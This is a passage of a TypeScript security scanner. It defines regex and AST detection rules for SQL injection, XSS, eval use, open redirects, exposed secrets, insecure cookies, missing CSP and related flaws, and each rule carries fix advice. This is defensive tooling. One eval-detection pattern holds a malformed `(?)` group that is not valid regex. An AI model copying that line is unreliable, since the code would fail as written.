concat/template/assignment,\n // so we only need to ask whether the value reaching the sink is tainted.\n // Literal-only args are skipped — those are the inline cases the regex\n // layers above already judge (with their tagged-template safety checks).\n if (/\\.\\s*(?:query|execute|raw|queryRawUnsafe|executeRawUnsafe|\\$queryRawUnsafe|\\$executeRawUnsafe)\\s*\\(/.test(content)) {\n const ctx = tryParse(content, filePath);\n if (ctx) {\n const { parsed, taint } = ctx;\n const SQL_SINKS = new Set([\n \"query\", \"execute\", \"raw\",\n \"queryRawUnsafe\", \"executeRawUnsafe\",\n \"$queryRawUnsafe\", \"$executeRawUnsafe\",\n ]);\n visitCalls(\n parsed,\n (callee: Node) =>\n callee.type === \"MemberExpression\" &&\n callee.property.type === \"Identifier\" &&\n SQL_SINKS.has(callee.property.name),\n (call, line) => {\n const first = call.arguments[0];\n if (!first || first.type === \"SpreadElement\") return;\n // Inline literals/templates are the regex layers' jurisdiction.\n if (first.type === \"StringLiteral\" || first.type === \"TemplateLiteral\") return;\n if (!taint.isTainted(first as Node)) return;\n if (matches.some((m) => m.line === line)) return;\n matches.push(\n astMatch(\n content,\n filePath,\n line,\n sqlInjection,\n \"Use parameterized queries instead of building SQL from user input in a variable. Example: db.query('SELECT * FROM users WHERE login = ?', [req.body.login])\",\n ),\n );\n },\n );\n }\n }\n\n return matches;\n },\n};\n\nexport const xssVulnerability: CustomRule = {\n id: \"VC007\",\n title: \"Potential Cross-Site Scripting (XSS)\",\n severity: \"high\",\n category: \"Injection\",\n description: \"Rendering user input without sanitization allows attackers to inject malicious scripts.\",\n check(content, filePath) {\n // An explicit Angular bypassSecurityTrust* call DEFEATS sanitization, so\n // a file that uses one must not be skipped by the sanitizer heuristics\n // below — `DomSanitizer` (which contains \"sanitizer\") would otherwise\n // make every Angular DOM-XSS sink invisible.\n const hasSanitizerBypass = /bypassSecurityTrust(?:Html|Script|Style|Url|ResourceUrl)\\s*\\(/.test(content);\n\n // Skip if file is a sanitizer utility or already uses DOMPurify\n if (/(?:sanitize|purify|escape|xss)/i.test(filePath)) return [];\n if (!hasSanitizerBypass && /DOMPurify\\.sanitize|sanitizeHtml|xss\\(|escapeHtml/i.test(content)) return [];\n // Skip if the file imports or requires DOMPurify or a sanitize library anywhere.\n // Gap bounded to {0,200} (not greedy `.*`): a real import statement has the\n // library name within a few dozen chars of the keyword, while an unbounded\n // `.*` backtracks the whole line on a pathological single-line payload of\n // repeated `require ` tokens — ~7s per call on a 256KB file, a CPU-DoS on\n // the public scan endpoint (security review June 2026).\n if (!hasSanitizerBypass && /(?:import|require)\\s*\\(?[^\\n]{0,200}(?:DOMPurify|dompurify|sanitize|sanitizer)/i.test(content)) return [];\n const patterns = [\n // React dangerouslySetInnerHTML\n /dangerouslySetInnerHTML\\s*=\\s*\\{\\s*\\{\\s*__html\\s*:/g,\n // Direct innerHTML assignment\n /\\.innerHTML\\s*=\\s*(?![\"'`]\\s*$)/gm,\n // document.write\n /document\\.write\\s*\\(/g,\n // v-html in Vue\n /v-html\\s*=/g,\n // {@html} in Svelte\n /\\{@html\\s/g,\n // Angular DomSanitizer escape hatches — bypassSecurityTrustHtml /\n // bypassSecurityTrustScript / ...Url / ...ResourceUrl / ...Style. These\n // mark a value as trusted and skip Angular's built-in sanitization;\n // passing user input through one is the canonical Angular DOM-XSS sink.\n /bypassSecurityTrust(?:Html|Script|Style|Url|ResourceUrl)\\s*\\(/g,\n ];\n\n const allLines = content.split(\"\\n\");\n const matches: RuleMatch[] = [];\n for (const pattern of patterns) {\n const raw = findMatches(content, pattern, xssVulnerability, filePath, () =>\n \"Sanitize user input before rendering as HTML. Use a library like DOMPurify: DOMPurify.sanitize(userInput). If this site is intentional (JSON-LD structured data, a const boot script, a sandboxed preview, markup built only from constants and numbers), add an inline `// VC007-OK: <reason>` comment above the line to silence.\"\n );\n // Filter out innerHTML assignments that use only static strings (no user input)\n for (const m of raw) {\n // Cap the line slice used by the per-match filters below. These run\n // once PER match, so on a pathological minified single line with\n // thousands of `.innerHTML=` hits, scanning the full multi-hundred-KB\n // line each time is O(n^2) (a CPU-DoS — security review June 2026). A\n // real innerHTML literal assignment is short; capping at 4000 chars\n // keeps every genuine case and makes a giant line fall through to\n // \"flag\" (the safe direction), not \"skip\".\n const lineText = (allLines[m.line - 1] || \"\").slice(0, 4000);\n // Skip if innerHTML is assigned a pure string literal with no interpolation\n if (/\\.innerHTML\\s*=\\s*['\"]/.test(lineText) && !/\\$\\{/.test(lineText)) continue;\n // Skip if innerHTML is assigned a string concatenation of only literals (no variables from user input)\n if (/\\.innerHTML\\s*=\\s*['\"][^'\"]{0,2000}['\"]\\s*$/.test(lineText)) continue;\n\n if (/dangerouslySetInnerHTML/.test(lineText)) {\n // Skip JSON-LD structured data — `dangerouslySetInnerHTML={{ __html:\n // JSON.stringify(data) }}` is the standard SEO/structured-data\n // pattern (developer-controlled, not user HTML). VC063 (critical)\n // already treats this as safe; mirror it here so the high-severity\n // rule doesn't double-flag what we've already deemed acceptable.\n // The __html value can sit on the match line or wrap to the next\n // few lines (e.g. multi-line JSON-LD blocks), so inspect a window.\n const windowText = allLines.slice(m.line - 1, m.line + 2).join(\"\\n\");\n if (/JSON\\.stringify/i.test(windowText)) continue;\n\n // Respect an inline `// VC007-OK: <reason>` (or `// scanner-OK`)\n // silencer for the other intentional sites — const boot scripts\n // (theme-flash prevention), sandboxed/server-built embed previews.\n const lineStartIdx = allLines.slice(0, m.line - 1)\n .reduce((acc, l) => acc + l.length + 1, 0);\n if (isInlineSilenced(content, lineStartIdx, \"VC007\")) continue;\n }\n\n matches.push(m);\n }\n }\n\n // --- AST layer: res.send(<tainted template literal containing HTML>) ---\n // Node/Express handlers that echo user-supplied HTML back to the browser.\n // `res.send(\\`<div>${userHtml}</div>\\`)` is the canonical reflected-XSS\n // shape the AST layer can catch cleanly.\n if (!/\\.(?:send|end|write)\\s*\\(/.test(content) || !/\\$\\{/.test(content)) {\n return matches;\n }\n const ctx = tryParse(content, filePath);\n if (!ctx) return matches;\n const { parsed, taint } = ctx;\n\n visitCalls(\n parsed,\n (callee: Node) => {\n if (callee.type !== \"MemberExpression\") return false;\n if (callee.property.type !== \"Identifier\") return false;\n return [\"send\", \"end\", \"write\"].includes(callee.property.name);\n },\n (call, line) => {\n const first = call.arguments[0];\n if (!first || first.type !== \"TemplateLiteral\") return;\n // Only flag when the template literal contains HTML-looking syntax\n // AND at least one expression is tainted.\n const literalParts = first.quasis.map((q) => q.value.raw).join(\"\");\n if (!/<\\/?\\w+/.test(literalParts)) return;\n if (!taint.isTainted(first as Node)) return;\n if (matches.some((m) => m.line === line)) return;\n matches.push(\n astMatch(\n content,\n filePath,\n line,\n xssVulnerability,\n \"Never echo user-supplied HTML back to the browser unescaped. Sanitize with DOMPurify, use a templating engine that auto-escapes, or set `res.type('text/plain')` if you never intended HTML.\",\n ),\n );\n },\n );\n\n return matches;\n },\n};\n\nexport const noRateLimiting: CustomRule = {\n id: \"VC008\",\n title: \"API Endpoint Without Rate Limiting\",\n severity: \"medium\",\n category: \"Availability\",\n description: \"API endpoints without rate limiting are vulnerable to abuse and denial-of-service attacks.\",\n check(content, filePath) {\n // Only check main server/app entry files\n const isEntryFile = /(?:server|app|index|main)\\.[jt]sx?$/.test(filePath) ||\n filePath.includes(\"middleware\");\n if (!isEntryFile) return [];\n\n // Check if this is a server file. The evidence has to be code — an import\n // of a server framework, or a call that starts a server — not a bare\n // substring. The old test was a case-insensitive /next|express|.../, so\n // any word containing \"next\" (`adNext`, `nextLap`, `NextButton`) made a\n // browser game's main.js an \"API endpoint without rate limiting\".\n const isServer =\n /(?:from\\s+|require\\s*\\(\\s*)[\"'`](?:express|hono|fastify|koa|@hono\\/[\\w-]+|next\\/server|(?:node:)?https?)[\"'`]/.test(content) ||\n /\\b(?:express|fastify|createServer)\\s*\\(/.test(content) ||\n /\\bnew\\s+(?:Hono|Koa)\\s*\\(/.test(content) ||\n /\\b(?:Deno|Bun)\\.serve\\s*\\(/.test(content) ||\n /\\.listen\\s*\\(/.test(content);\n if (!isServer) return [];\n\n // Check for rate limiting\n const hasRateLimit = /rate.?limit|throttle|express-rate-limit|@elysiajs\\/rate-limit|hono.*limiter/i.test(content);\n if (hasRateLimit) return [];\n\n return [{\n rule: \"VC008\",\n title: noRateLimiting.title,\n severity: \"medium\",\n category: \"Availability\",\n file: filePath,\n line: 1,\n snippet: getSnippet(content, 1),\n fix: \"Add rate limiting middleware to your server. For Express: npm install express-rate-limit. For other frameworks, check their rate limiting plugins.\",\n }];\n },\n};\n\nexport const corsWildcard: CustomRule = {\n id: \"VC009\",\n title: \"CORS Allows All Origins\",\n severity: \"medium\",\n category: \"Configuration\",\n description: \"Wildcard CORS (*) allows any website to make requests to your API, potentially exposing user data.\",\n check(content, filePath) {\n if (isTestFile(filePath)) return [];\n const patterns = [\n /cors\\(\\s*\\)/g, // cors() with no options = allow all\n /origin\\s*:\\s*[\"'`]\\*[\"'`]/g,\n /[\"'`]Access-Control-Allow-Origin[\"'`]\\s*,\\s*[\"'`]\\*[\"'`]/g,\n /origin\\s*:\\s*true/g,\n ];\n\n const matches: RuleMatch[] = [];\n for (const pattern of patterns) {\n matches.push(\n ...findMatches(content, pattern, corsWildcard, filePath, () =>\n \"Restrict CORS to your specific frontend domain(s): cors({ origin: 'https://yourdomain.com' })\"\n ),\n );\n }\n return matches;\n },\n};\n\nexport const clientSideAuth: CustomRule = {\n id: \"VC010\",\n title: \"Client-Side Only Authorization\",\n severity: \"high\",\n category: \"Authorization\",\n description: \"Hiding UI elements based on roles without server-side checks lets attackers bypass restrictions using DevTools.\",\n check(content, filePath) {\n // Only check frontend component files\n if (!filePath.match(/\\.(jsx|tsx|vue|svelte)$/)) return [];\n\n const matches: RuleMatch[] = [];\n\n // Pattern: conditional rendering based on role/admin without server check\n const rolePatterns = [\n /\\{.*(?:isAdmin|role\\s*===?\\s*[\"'`]admin[\"'`]|user\\.role).*&&/gi,\n /v-if\\s*=\\s*[\"'`].*(?:isAdmin|role\\s*===?\\s*'admin')/gi,\n ];\n\n for (const pattern of rolePatterns) {\n // Only flag if the file has no server-side fetch for auth verification\n const hasServerCheck = /getServerSession|getUser|server|api\\/auth|middleware/i.test(content);\n if (hasServerCheck) continue;\n\n matches.push(\n ...findMatches(content, pattern, clientSideAuth, filePath, () =>\n \"Client-side role checks only hide UI — they don't prevent access. Always verify permissions on the server/API side too.\"\n ),\n );\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC011 – Secret in NEXT_PUBLIC_ env var\n// ────────────────────────────────────────────\n\nexport const nextPublicSecret: CustomRule = {\n id: \"VC011\",\n title: \"Secret in NEXT_PUBLIC_ Environment Variable\",\n severity: \"critical\",\n category: \"Secrets\",\n description: \"NEXT_PUBLIC_ variables are exposed to the browser. Secrets placed here are visible to anyone.\",\n check(content, filePath) {\n if (!filePath.match(/\\.env/) && !filePath.match(/next\\.config/)) return [];\n const patterns = [\n /NEXT_PUBLIC_[A-Z_]*(?:SECRET|KEY|TOKEN|PASSWORD|PRIVATE)[A-Z_]*\\s*=\\s*.+/gi,\n /NEXT_PUBLIC_[A-Z_]*(?:SUPABASE_SERVICE|CLERK_SECRET|STRIPE_SECRET)[A-Z_]*\\s*=\\s*.+/gi,\n ];\n const matches: RuleMatch[] = [];\n for (const p of patterns) {\n const raw = findMatches(content, p, nextPublicSecret, filePath, () =>\n \"Remove the NEXT_PUBLIC_ prefix. Only use NEXT_PUBLIC_ for values safe to expose in the browser.\"\n );\n // Filter out publishable/public keys that are DESIGNED to be client-side\n for (const m of raw) {\n const lineText = content.split(\"\\n\")[m.line - 1] || \"\";\n if (/PUBLISHABLE|ANON_KEY|PUBLIC_KEY/i.test(lineText)) continue;\n // Skip Clerk publishable keys (pk_test_, pk_live_)\n if (/CLERK_PUBLISHABLE/i.test(lineText)) continue;\n // Skip Stripe publishable keys\n if (/STRIPE_PUBLISHABLE/i.test(lineText)) continue;\n // Skip if the value is a placeholder (empty, pk_test_, etc.)\n if (/=\\s*[\"']?\\s*$|=\\s*[\"']?pk_(?:test|live)_[\"']?\\s*$/.test(lineText)) continue;\n matches.push(m);\n }\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC014 – .env not in .gitignore\n// ────────────────────────────────────────────\n\nexport const envNotGitignored: CustomRule = {\n id: \"VC014\",\n title: \".env File Not in .gitignore\",\n severity: \"high\",\n category: \"Secrets\",\n description: \"If .env is not listed in .gitignore, secrets will be committed to version control.\",\n check(content, filePath) {\n if (!filePath.endsWith(\".gitignore\")) return [];\n if (/\\.env/i.test(content)) return [];\n return [{\n rule: \"VC014\", title: envNotGitignored.title, severity: \"high\" as const, category: \"Secrets\",\n file: filePath, line: 1, snippet: getSnippet(content, 1),\n fix: 'Add \".env*\" to your .gitignore file to prevent committing secrets.',\n }];\n },\n};\n\n// ────────────────────────────────────────────\n// VC015 – eval() / new Function()\n// ────────────────────────────────────────────\n\nexport const evalUsage: CustomRule = {\n id: \"VC015\",\n title: \"Use of eval() or Function Constructor\",\n severity: \"high\",\n category: \"Injection\",\n description: \"eval() and new Function() execute arbitrary code, creating severe injection risks.\",\n check(content, filePath) {\n if (filePath.includes(\"node_modules\") || filePath.includes(\".min.\")) return [];\n if (filePath.match(/(?:webpack|rollup|vite|jest|babel|tsup|esbuild)\\.config/i)) return [];\n if (isTestFile(filePath)) return [];\n // Skip files that are linters/scanners/rule engines (they reference eval in detection patterns)\n if (filePath.match(/(?:rules?|scanner|lint|check|detect|analyz)/i) && /\\.check\\s*\\(|findMatches/i.test(content)) return [];\n const patterns = [\n // Actual eval() calls — not in strings or regex patterns\n /\\beval\\s*\\(\\s*(?)/g,\n /new\\s+Function\\s*\\(\\s*(?![\"'`])/g,\n ];\n // Skip if eval is only in a string (e.g., devtool: 'eval-source-map')\n const hasEvalInString = /[\"'`]eval(?:-source-map|[\"'`])/i.test(content);\n if (hasEvalInString && !/\\beval\\s*\\([^)]{0,500}(?:req\\.|body\\.|input|params|user|data)/i.test(content)) return [];\n const matches: RuleMatch[] = [];\n for (const p of patterns) {\n const rawMatches = findMatches(content, p, evalUsage, filePath, () =>\n \"Replace eval() with JSON.parse() for data, or a proper parser for expressions. Never pass user input to eval().\"\n );\n // Skip matches on lines containing devtool or source-map config\n for (const rm of rawMatches) {\n const lineStart = content.lastIndexOf(\"\\n\", content.split(\"\\n\").slice(0, rm.line - 1).join(\"\\n\").length) + 1;\n const lineEnd = content.indexOf(\"\\n\", lineStart + 1);\n const lineText = content.substring(lineStart, lineEnd === -1 ? content.length : lineEnd);\n if (/devtool|source-map/i.test(lineText)) continue;\n // Skip if eval appears on a line with description/title/message keys (string literal context)\n if (/(?:description|title|message)\\s*[:=]/i.test(lineText)) continue;\n matches.push(rm);\n }\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC016 – Unvalidated redirect\n// ────────────────────────────────────────────\n\nexport const unvalidatedRedirect: CustomRule = {\n id: \"VC016\",\n title: \"Unvalidated Redirect\",\n severity: \"high\",\n category: \"Injection\",\n description: \"Redirecting users to URLs from untrusted input enables phishing attacks.\",\n check(content, filePath) {\n if (isTestFile(filePath)) return [];\n // Skip if the file already validates redirect URLs\n if (/isAllowedRedirect|validateRedirect|isSafeRedirect|allowedDomains|trustedDomains|whitelist.*url|allowlist.*url/i.test(content)) return [];\n\n const matches: RuleMatch[] = [];\n\n // Client-side navigation sinks. Capture the assigned/passed value and\n // only flag when it's DYNAMIC — a variable, member access, concatenation,\n // or a template literal with interpolation. A pure string literal, whether\n // relative (\"/dashboard\") or absolute (\"https://example.com\"), is a\n // hardcoded destination the developer wrote, not an untrusted-input\n // redirect, so it's skipped.\n //\n // The previous implementation used a `(?![\"'`]https?://)` negative\n // lookahead that backtracked over the `\\s*` before the value, so the\n // lookahead always succeeded and EVERY navigation flagged — including\n // `window.location.href = \"/dashboard\"`. That produced a high-severity\n // false positive on essentially every SPA.\n const navPattern = /(?:window\\.location(?:\\.href)?\\s*=\\s*|window\\.location\\.(?:assign|replace)\\s*\\(\\s*)([^;\\n)]+)/g;\n let m: RegExpExecArray | null;\n while ((m = navPattern.exec(content)) !== null) {\n if (isCommentLine(content, m.index)) continue;\n const value = m[1].trim();\n const hasInterpolation = /\\$\\{/.test(value);\n const isPureLiteral = /^[\"'`][^\"'`]*[\"'`]$/.test(value);\n // Hardcoded destination (no interpolation, just a quoted literal) → safe.\n if (!hasInterpolation && isPureLiteral) continue;\n if (isInlineSilenced(content, m.index, \"VC016\")) continue;\n const line = lineNumberAt(content, m.index);\n matches.push({\n rule: \"VC016\",\n title: unvalidatedRedirect.title,\n severity: \"high\",\n category: \"Injection\",\n file: filePath,\n line,\n snippet: getSnippet(content, line),\n fix: \"Validate redirect URLs against an allowlist of trusted domains. Never redirect to user-supplied URLs directly. If the target is a hardcoded/internal path you control, add an inline `// VC016-OK: <reason>` comment to silence.\",\n });\n }\n\n // Server-side: res.redirect() fed directly from request input.\n matches.push(...findMatches(content, /res\\.redirect\\s*\\(\\s*(?:req\\.|params\\.|query\\.)/gi, unvalidatedRedirect, filePath, () =>\n \"Validate redirect URLs against an allowlist of trusted domains. Never redirect to user-supplied URLs directly.\"\n ));\n\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC017 – Insecure cookie settings\n// ────────────────────────────────────────────\n\nexport const insecureCookies: CustomRule = {\n id: \"VC017\",\n title: \"Insecure Cookie Settings\",\n severity: \"medium\",\n category: \"Configuration\",\n description: \"Cookies without httpOnly, secure, or sameSite flags are vulnerable to theft and CSRF attacks.\",\n check(content, filePath) {\n if (isTestFile(filePath)) return [];\n if (!/cookie/i.test(content)) return [];\n // `\\bcookie\\s*=` rather than `cookie\\s*=`: without the word boundary the\n // pattern also matches the tail of any identifier ending in \"cookie\", so\n // `const CLAIM_COOKIE = \"xs_pending_claim\"` — the constant that NAMES a\n // cookie — read as a write to one. That fired on files that only ever\n // READ a cookie, where there are no flags to be missing and the finding\n // pointed at a string constant. `document.cookie =` and `res.cookie =`\n // still match, because `.` is a word boundary.\n const setCookiePattern = /(?:set-cookie|setCookie|\\bcookie\\s*=|res\\.cookie\\s*\\()/gi;\n if (!setCookiePattern.test(content)) return [];\n const hasHttpOnly = /httpOnly\\s*:\\s*true|httponly/i.test(content);\n // Any value counts as the Secure attribute being set, except the literal\n // `false`. A Secure cookie is not sent over plain http, so an app that\n // runs on http://localhost in development cannot hardcode it on —\n // `secure: process.env.NODE_ENV === \"production\"` is the standard idiom\n // in Express and Next.js alike. Demanding a literal `true` reported \"add\n // missing cookie flags: secure\" at those sites, which is not true: the\n // attribute is set, in production, which is where it matters. This also\n // makes the check consistent with the sameSite one directly below, which\n // has always accepted any value.\n const hasSecure = /secure\\s*:\\s*(?!false\\b)\\S/i.test(content) || /;\\s*secure/i.test(content);\n const hasSameSite = /sameSite\\s*:|samesite/i.test(content);\n const matches: RuleMatch[] = [];\n if (!hasHttpOnly || !hasSecure || !hasSameSite) {\n const missing: string[] = [];\n if (!hasHttpOnly) missing.push(\"httpOnly\");\n if (!hasSecure) missing.push(\"secure\");\n if (!hasSameSite) missing.push(\"sameSite\");\n matches.push(...findMatches(content, /(?:set-cookie|setCookie|cookie\\s*=|res\\.cookie\\s*\\()/gi, insecureCookies, filePath, () =>\n `Add missing cookie flags: ${missing.join(\", \")}. Example: { httpOnly: true, secure: true, sameSite: 'lax' }`\n ));\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC018 – Exposed auth provider secret key\n// ────────────────────────────────────────────\n\nexport const exposedAuthSecret: CustomRule = {\n id: \"VC018\",\n title: \"Exposed Clerk/Auth Secret Key\",\n severity: \"critical\",\n category: \"Secrets\",\n description: \"Auth provider secret keys (Clerk, Auth0, NextAuth) must never be in client-side code or NEXT_PUBLIC_ variables.\",\n check(content, filePath) {\n const isClientFile = filePath.match(/\\.(jsx|tsx|vue|svelte)$/) || /[\"']use client[\"']/.test(content);\n const isEnvFile = filePath.match(/\\.env/);\n if (!isClientFile && !isEnvFile) return [];\n const patterns: RegExp[] = [];\n if (isClientFile) {\n patterns.push(\n /CLERK_SECRET_KEY/g,\n /AUTH0_CLIENT_SECRET/g,\n /NEXTAUTH_SECRET/g,\n );\n }\n if (isEnvFile) {\n patterns.push(\n /NEXT_PUBLIC_CLERK_SECRET/gi,\n /NEXT_PUBLIC_AUTH0_SECRET/gi,\n /NEXT_PUBLIC_NEXTAUTH_SECRET/gi,\n );\n }\n const matches: RuleMatch[] = [];\n for (const p of patterns) {\n matches.push(...findMatches(content, p, exposedAuthSecret, filePath, () =>\n \"Move this secret to a server-side environment variable (without the NEXT_PUBLIC_ prefix). Never expose auth secrets to the browser.\"\n ));\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC020 – Missing Content Security Policy\n// ────────────────────────────────────────────\n\n/**\n * A starting CSP for THIS page, not a generic one. The old fix was a fixed\n * `default-src 'self'; script-src 'self'`, which blocks every external script\n * and every inline <script> — an import map included — so on a page with no\n * build step, pasting it in stopped the page from loading at all.\n */\nfunction cspFixFor(content: string): string {\n const origins = [\n ...new Set(\n [...content.slice(0, 200_000).matchAll(/<script\\b[^>]{0,500}?\\bsrc\\s*=\\s*[\"'](https?:\\/\\/[^/\"'\\s>]+)/gi)].map((m) => m[1]),\n ),\n ].slice(0, 10);\n const inlineScripts = (content.slice(0, 200_000).match(/<script\\b(?![^>]{0,500}\\bsrc\\s*=)[^>]{0,500}>\\s*[^<\\s]/gi) ?? []).length;\n const scriptSrc = [\"'self'\", ...origins].join(\" \");\n return [\n `Add a Content-Security-Policy. A starting point for this page: \\`default-src 'self'; script-src ${scriptSrc}\\`, plus any other origins it fetches from, frames or loads styles, fonts and images from.`,\n inlineScripts > 0\n ? `This page has ${inlineScripts} inline <script> block${inlineScripts === 1 ? \"\" : \"s\"} (an import map counts), which that policy blocks: add each one's 'sha256-…' hash to script-src, or move the code into a file.`\n : \"\",\n \"Prefer sending it as an HTTP response header from your host; a <meta http-equiv> tag also works, but ignores frame-ancestors. Test it before shipping — a policy that's too strict stops the page from loading. As a header, Content-Security-Policy-Report-Only lets you see what it would block first.\",\n ]\n .filter(Boolean)\n .join(\" \");\n}\n\nexport const missingCSP: CustomRule = {\n id: \"VC020\",\n title: \"Missing Content Security Policy (CSP)\",\n severity: \"high\",\n category: \"Configuration\",\n description: \"Without a Content-Security-Policy header or meta tag, your app is vulnerable to XSS and data injection attacks.\",\n check(content, filePath) {\n // Check HTML files for missing CSP meta tag\n if (filePath.match(/\\.(html|htm)$/)) {\n if (!/Content-Security-Policy/i.test(content)) {\n return [{\n rule: \"VC020\", title: missingCSP.title, severity: \"high\" as const, category: \"Configuration\",\n file: filePath, line: 1, snippet: getSnippet(content, 1),\n fix: cspFixFor(content),\n }];\n }\n }\n // Skip Electron main process — CSP is typically set in the HTML file (already checked above)\n // Flagging main.ts creates false positives since CSP belongs in index.html for Electron apps\n return [];\n },\n};\n\n// ────────────────────────────────────────────\n// VC031 – Hardcoded JWT Secret\n// ────────────────────────────────────────────\n\nexport const hardcodedJWTSecret: CustomRule = {\n id: \"VC031\",\n title: \"Hardcoded JWT Secret\",\n severity: \"critical\",\n category: \"Secrets\",\n description: \"JWT tokens signed with a hardcoded string secret can be forged by anyone who reads the source code.\",\n check(content, filePath) {\n if (filePath.endsWith(\".example\") || filePath.endsWith(\".template\") || filePath.includes(\"test\")) return [];\n const patterns = [\n /jwt\\.sign\\s*\\([^,]+,\\s*[\"'`][^\"'`]{3,}[\"'`]/g,\n /jwt\\.verify\\s*\\([^,]+,\\s*[\"'`][^\"'`]{3,}[\"'`]/g,\n /jsonwebtoken.*secret\\s*[:=]\\s*[\"'`][^\"'`]{3,}[\"'`]/gi,\n /JWT_SECRET\\s*[:=]\\s*[\"'`][^\"'`]{3,}[\"'`]/g,\n ];\n const matches: RuleMatch[] = [];\n for (const p of patterns) {\n matches.push(...findMatches(content, p, hardcodedJWTSecret, filePath, () =>\n \"Move JWT secret to an environment variable: jwt.sign(payload, process.env.JWT_SECRET). Use a strong, random secret (256+ bits).\"\n ));\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC032 – Missing HTTPS Enforcement\n// ────────────────────────────────────────────\n\nexport const missingHTTPS: CustomRule = {\n id: \"VC032\",\n title: \"Missing HTTPS Enforcement\",\n severity: \"high\",\n category: \"Configuration\",\n description: \"Hardcoded http:// URLs (other than localhost and private-network addresses) send data unencrypted, exposing it to man-in-the-middle attacks.\",\n check(content, filePath) {\n if (filePath.endsWith(\".example\") || filePath.includes(\"test\") || filePath.includes(\"README\")) return [];\n if (filePath.match(/\\.(md|txt)$/)) return [];\n const matches: RuleMatch[] = [];\n // Skip standard XML/HTML doctypes, DTDs, schema URIs, namespace URLs\n if (/<!DOCTYPE|xmlns|\\.dtd|\\.xsd/i.test(content) && !/fetch|axios|request|http\\.get/i.test(content)) return [];\n // Hardcoded http:// URLs to non-local hosts (excluding standard schema/namespace URIs)\n const httpPattern = /[\"'`]http:\\/\\/(?!localhost|127\\.0\\.0\\.1|0\\.0\\.0\\.0|192\\.168\\.|10\\.|172\\.(?:1[6-9]|2\\d|3[01])\\.|www\\.w3\\.org|www\\.apple\\.com\\/DTDs|schemas?\\.|xml\\.org|purl\\.org|ns\\.adobe|xmlpull\\.org|java\\.sun\\.com)[^\"'`\\s]+[\"'`]/g;\n const rawMatches = findMatches(content, httpPattern, missingHTTPS, filePath, () =>\n \"Use https:// instead of http:// for all production URLs. Add HSTS header: Strict-Transport-Security: max-age=31536000; includeSubDomains\"\n );\n // Skip DOCTYPE/DTD URLs\n for (const rm of rawMatches) {\n const lineStart = content.lastIndexOf(\"\\n\", content.split(\"\\n\").slice(0, rm.line - 1).join(\"\\n\").length) + 1;\n const lineEnd = content.indexOf(\"\\n\", lineStart + 1);\n const matchText = content.substring(lineStart, lineEnd === -1 ? content.length : lineEnd);\n if (/DTD|DOCTYPE|w3\\.org|apple\\.com\\/DTDs/i.test(matchText)) continue;\n matches.push(rm);\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC033 – Exposed Debug/Dev Mode\n// ────────────────────────────────────────────\n\nexport const exposedDebugMode: CustomRule = {\n id: \"VC033\",\n title: \"Debug/Development Mode Exposed\",\n severity: \"high\",\n category: \"Configuration\",\n description: \"Debug mode, verbose logging, or development configuration left in production code exposes internal details and may enable debug endpoints.\",\n check(content, filePath) {\n if (filePath.includes(\"test\") || filePath.endsWith(\".example\") || filePath.includes(\"node_modules\")) return [];\n if (filePath.match(/\\.env\\.development$/)) return []; // Expected in dev env files\n const matches: RuleMatch[] = [];\n const patterns = [\n // Debug flags set to true\n /DEBUG\\s*[:=]\\s*(?:true|1|[\"'`]true[\"'`]|[\"'`]\\*[\"'`])/g,\n // Django DEBUG\n /DEBUG\\s*=\\s*True/g,\n // Flask/Express debug mode\n /app\\.debug\\s*=\\s*True/g,\n /app\\.run\\s*\\([^)]*debug\\s*=\\s*True/g,\n // Source maps in production\n /devtool\\s*:\\s*[\"'`](?:eval|cheap|source-map|inline-source-map)[\"'`]/g,\n // Debug endpoints that leak environment / process internals in the\n // response body. Very high-signal — a production service shouldn't\n // serialize process.env or process.version to callers.\n /res\\.(?:json|send)\\s*\\([^)]*process\\.(?:env|version|pid|arch|platform)/gi,\n /(?:env|environment)\\s*:\\s*process\\.env\\b/gi,\n ];\n for (const p of patterns) {\n matches.push(...findMatches(content, p, exposedDebugMode, filePath, () =>\n \"Disable debug mode in production. Use environment variables: DEBUG = process.env.NODE_ENV !== 'production'. Remove source maps from production builds.\"\n ));\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC034 – Insecure Randomness\n// ────────────────────────────────────────────\n\nexport const insecureRandomness: CustomRule = {\n id: \"VC034\",\n title: \"Insecure Randomness for Security-Sensitive Values\",\n severity: \"high\",\n category: \"Cryptography\",\n description: \"Math.random() is not cryptographically secure. Using it for tokens, session IDs, passwords, or OTPs makes them predictable.\",\n check(content, filePath) {\n if (isTestFile(filePath)) return [];\n if (!/Math\\.random\\s*\\(\\s*\\)/i.test(content)) return [];\n const matches: RuleMatch[] = [];\n\n // --- Same-line inline pattern: const token = Math.random() ---\n const securityContext = /(?:token|secret|session|password|otp|nonce|salt|csrf|auth)\\s*[:=]\\s*.*Math\\.random/gi;\n const rawMatches = findMatches(content, securityContext, insecureRandomness, filePath, () =>\n \"Use crypto.randomUUID() or crypto.getRandomValues() for security-sensitive values. Math.random() is predictable.\"\n );\n const nonSecurityVarNames = /(?:id|key|color|index|delay|position|size|width|height|offset|opacity|rotation|animation|random(?!.*(?:token|secret|key|password)))\\s*[:=]\\s*.*Math\\.random/i;\n for (const rm of rawMatches) {\n const lineText = content.split(\"\\n\")[rm.line - 1] || \"\";\n if (nonSecurityVarNames.test(lineText)) continue;\n matches.push(rm);\n }\n\n // --- File-level context: function/variable NAMES that declare security\n // intent. If present anywhere in the file, treat every Math.random() call\n // as suspicious (the security-critical value is built across lines). ---\n const SECURITY_FN_CONTEXT =\n /\\b(?:function|def|async|const|let|var)\\s+\\w*(?:generate|create|make|new|mint|issue)[A-Z_]\\w*(?:Token|Session|Nonce|Salt|Secret|Password|Otp|Csrf|Key|Code|Auth)\\w*/i;\n const SECURITY_IDENT_CONTEXT =\n /\\b(?:session[_-]?token|csrf[_-]?token|reset[_-]?token|verify[_-]?code|otp[_-]?code|refresh[_-]?token|api[_-]?key)\\b/i;\n\n if (SECURITY_FN_CONTEXT.test(content) || SECURITY_IDENT_CONTEXT.test(content)) {\n const raw = findMatches(content, /Math\\.random\\s*\\(\\s*\\)/g, insecureRandomness, filePath, () =>\n \"Math.random() is not 